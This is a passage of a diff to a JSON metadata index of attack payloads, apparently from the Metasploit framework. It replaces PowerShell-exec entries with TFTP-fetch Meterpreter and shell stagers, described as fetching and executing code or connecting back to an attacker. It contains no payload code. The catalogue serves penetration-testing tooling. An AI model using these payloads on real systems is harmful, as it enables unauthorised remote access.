"cmd/windows/tftp/x64/meterpreter/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, - "payload_cmd/windows/powershell/x64/peinject/reverse_named_pipe": { - "name": "Powershell Exec, Windows x64 Reverse Named Pipe (SMB) Stager", - "fullname": "payload/cmd/windows/powershell/x64/peinject/reverse_named_pipe", + "payload_cmd/windows/tftp/x64/meterpreter/bind_ipv6_tcp_uuid": { + "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -189041,13 +209088,15 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "ege ", + "Brendan Watters", + "skape ", + "sf ", "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker via a named pipe pivot", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189055,21 +209104,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/peinject/reverse_named_pipe", + "ref_name": "cmd/windows/tftp/x64/meterpreter/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false - }, - "payload_cmd/windows/powershell/x64/peinject/reverse_tcp": { - "name": "Powershell Exec, Windows x64 Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/peinject/reverse_tcp", + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" + }, + "payload_cmd/windows/tftp/x64/meterpreter/bind_named_pipe": { + "name": "TFTP Fetch, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter/bind_named_pipe", "aliases": [ ], @@ -189077,13 +209132,16 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "ege ", - "sf " + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves", + "UserExistsError" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for a pipe connection (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189091,21 +209149,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/peinject/reverse_tcp", + "ref_name": "cmd/windows/tftp/x64/meterpreter/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_named_pipe" }, - "payload_cmd/windows/powershell/x64/peinject/reverse_tcp_rc4": { - "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/x64/peinject/reverse_tcp_rc4", + "payload_cmd/windows/tftp/x64/meterpreter/bind_tcp": { + "name": "TFTP Fetch, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter/bind_tcp", "aliases": [ ], @@ -189113,18 +209177,15 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "ege ", - "hdm ", + "Brendan Watters", "skape ", "sf ", - "mihi", - "max3raza", - "RageLtMan" + "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for a connection (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189132,21 +209193,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/peinject/reverse_tcp_rc4", + "ref_name": "cmd/windows/tftp/x64/meterpreter/bind_tcp", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp" }, - "payload_cmd/windows/powershell/x64/peinject/reverse_tcp_uuid": { - "name": "Powershell Exec, Reverse TCP Stager with UUID Support (Windows x64)", - "fullname": "payload/cmd/windows/powershell/x64/peinject/reverse_tcp_uuid", + "payload_cmd/windows/tftp/x64/meterpreter/bind_tcp_rc4": { + "name": "TFTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter/bind_tcp_rc4", "aliases": [ ], @@ -189154,14 +209221,19 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "ege ", + "Brendan Watters", + "skape ", "sf ", - "OJ Reeves" + "OJ Reeves", + "hdm ", + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to the attacker", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189169,21 +209241,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/peinject/reverse_tcp_uuid", + "ref_name": "cmd/windows/tftp/x64/meterpreter/bind_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp_rc4" }, - "payload_cmd/windows/powershell/x64/pingback_reverse_tcp": { - "name": "Powershell Exec, Windows x64 Pingback, Reverse TCP Inline", - "fullname": "payload/cmd/windows/powershell/x64/pingback_reverse_tcp", + "payload_cmd/windows/tftp/x64/meterpreter/bind_tcp_uuid": { + "name": "TFTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter/bind_tcp_uuid", "aliases": [ ], @@ -189191,12 +209269,15 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "bwatters-r7" + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to attacker and report UUID (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for a connection with UUID Support (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189204,21 +209285,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/pingback_reverse_tcp", + "ref_name": "cmd/windows/tftp/x64/meterpreter/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/bind_tcp_uuid" }, - "payload_cmd/windows/powershell/x64/powershell_bind_tcp": { - "name": "Powershell Exec", - "fullname": "payload/cmd/windows/powershell/x64/powershell_bind_tcp", + "payload_cmd/windows/tftp/x64/meterpreter/reverse_http": { + "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_http", "aliases": [ ], @@ -189226,14 +209313,15 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "Ben Turner", - "Dave Hardy", - "sf " + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nTunnel communication over HTTP (Windows x64 wininet)", "references": [ - "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189241,21 +209329,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/powershell_bind_tcp", + "ref_name": "cmd/windows/tftp/x64/meterpreter/reverse_http", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_http", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_http" }, - "payload_cmd/windows/powershell/x64/powershell_reverse_tcp": { - "name": "Powershell Exec", - "fullname": "payload/cmd/windows/powershell/x64/powershell_reverse_tcp", + "payload_cmd/windows/tftp/x64/meterpreter/reverse_https": { + "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_https", "aliases": [ ], @@ -189263,14 +209357,18 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "Ben Turner", - "Dave Hardy", - "sf " + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "agix", + "rwincey" ], - "description": "Execute an x64 payload from a command via PowerShell", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nTunnel communication over HTTP (Windows x64 wininet)", "references": [ - "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189278,21 +209376,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/powershell_reverse_tcp", + "ref_name": "cmd/windows/tftp/x64/meterpreter/reverse_https", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_https", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_https" }, - "payload_cmd/windows/powershell/x64/powershell_reverse_tcp_ssl": { - "name": "Powershell Exec", - "fullname": "payload/cmd/windows/powershell/x64/powershell_reverse_tcp_ssl", + "payload_cmd/windows/tftp/x64/meterpreter/reverse_named_pipe": { + "name": "TFTP Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_named_pipe", "aliases": [ ], @@ -189300,14 +209404,15 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "Ben Turner", - "Dave Hardy", - "sf " + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to the attacker via a named pipe pivot", "references": [ - "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189315,21 +209420,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/powershell_reverse_tcp_ssl", + "ref_name": "cmd/windows/tftp/x64/meterpreter/reverse_named_pipe", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_named_pipe", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_named_pipe" }, - "payload_cmd/windows/powershell/x64/shell/bind_ipv6_tcp": { - "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/shell/bind_ipv6_tcp", + "payload_cmd/windows/tftp/x64/meterpreter/reverse_tcp": { + "name": "TFTP Fetch, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_tcp", "aliases": [ ], @@ -189337,12 +209448,15 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf " + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to the attacker (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189350,21 +209464,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/shell/bind_ipv6_tcp", + "ref_name": "cmd/windows/tftp/x64/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp" }, - "payload_cmd/windows/powershell/x64/shell/bind_ipv6_tcp_uuid": { - "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/x64/shell/bind_ipv6_tcp_uuid", + "payload_cmd/windows/tftp/x64/meterpreter/reverse_tcp_rc4": { + "name": "TFTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_tcp_rc4", "aliases": [ ], @@ -189372,13 +209492,19 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", + "Brendan Watters", + "skape ", "sf ", - "OJ Reeves" + "OJ Reeves", + "hdm ", + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to the attacker", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189386,21 +209512,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/shell/bind_ipv6_tcp_uuid", + "ref_name": "cmd/windows/tftp/x64/meterpreter/reverse_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, - "payload_cmd/windows/powershell/x64/shell/bind_named_pipe": { - "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager", - "fullname": "payload/cmd/windows/powershell/x64/shell/bind_named_pipe", + "payload_cmd/windows/tftp/x64/meterpreter/reverse_tcp_uuid": { + "name": "TFTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_tcp_uuid", "aliases": [ ], @@ -189408,13 +209540,15 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", + "Brendan Watters", + "skape ", "sf ", - "UserExistsError" + "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a pipe connection (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to the attacker with UUID Support (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189422,21 +209556,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/shell/bind_named_pipe", + "ref_name": "cmd/windows/tftp/x64/meterpreter/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, - "payload_cmd/windows/powershell/x64/shell/bind_tcp": { - "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/shell/bind_tcp", + "payload_cmd/windows/tftp/x64/meterpreter/reverse_winhttp": { + "name": "TFTP Fetch, Windows x64 Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_winhttp", "aliases": [ ], @@ -189444,12 +209584,15 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf " + "Brendan Watters", + "skape ", + "sf ", + "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nTunnel communication over HTTP (Windows x64 winhttp)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189457,21 +209600,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/shell/bind_tcp", + "ref_name": "cmd/windows/tftp/x64/meterpreter/reverse_winhttp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_winhttp", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_winhttp" }, - "payload_cmd/windows/powershell/x64/shell/bind_tcp_rc4": { - "name": "Powershell Exec, Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/x64/shell/bind_tcp_rc4", + "payload_cmd/windows/tftp/x64/meterpreter/reverse_winhttps": { + "name": "TFTP Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter/reverse_winhttps", "aliases": [ ], @@ -189479,17 +209628,15 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf ", - "hdm ", + "Brendan Watters", "skape ", - "mihi", - "max3raza", - "RageLtMan" + "sf ", + "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189497,21 +209644,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/shell/bind_tcp_rc4", + "ref_name": "cmd/windows/tftp/x64/meterpreter/reverse_winhttps", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter/reverse_winhttps", + "staged": true, + "stage_refname": "windows/x64/meterpreter", + "stager_refname": "windows/x64/reverse_winhttps" }, - "payload_cmd/windows/powershell/x64/shell/bind_tcp_uuid": { - "name": "Powershell Exec, Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)", - "fullname": "payload/cmd/windows/powershell/x64/shell/bind_tcp_uuid", + "payload_cmd/windows/tftp/x64/meterpreter_bind_named_pipe": { + "name": "TFTP Fetch, Windows Meterpreter Shell, Bind Named Pipe Inline (x64)", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter_bind_named_pipe", "aliases": [ ], @@ -189519,13 +209672,15 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", + "Brendan Watters", + "UserExistsError", "sf ", "OJ Reeves" ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection with UUID Support (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189533,21 +209688,25 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/shell/bind_tcp_uuid", + "ref_name": "cmd/windows/tftp/x64/meterpreter_bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter_bind_named_pipe", + "staged": false }, - "payload_cmd/windows/powershell/x64/shell/reverse_tcp": { - "name": "Powershell Exec, Windows x64 Command Shell, Windows x64 Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/shell/reverse_tcp", + "payload_cmd/windows/tftp/x64/meterpreter_bind_tcp": { + "name": "TFTP Fetch, Windows Meterpreter Shell, Bind TCP Inline (x64)", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter_bind_tcp", "aliases": [ ], @@ -189555,12 +209714,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", + "Brendan Watters", + "OJ Reeves", "sf " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker (Windows x64)", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect to victim and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -189568,21 +209729,25 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/shell/reverse_tcp", + "ref_name": "cmd/windows/tftp/x64/meterpreter_bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/meterpreter_bind_tcp", + "staged": false }, - "payload_cmd/windows/powershell/x64/shell/reverse_tcp_rc4": { - "name": "Powershell Exec, Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/x64/shell/reverse_tcp_rc4", + "payload_cmd/windows/tftp/x64/meterpreter_reverse_http": { + "name": "TFTP Fetch, Windows Meterpreter Shell, Reverse HTTP Inline (x64)", + "fullname": "payload/cmd/windows/tftp/x64/meterpreter_reverse_http", "aliases": [ ], @@ -189590,17 +209755,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "sf ", - "hdm ", - "skape ", - "mihi", - "max3raza", - "RageLtMan" + "Brendan Watters", + "OJ Reeves", + "sf " ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or 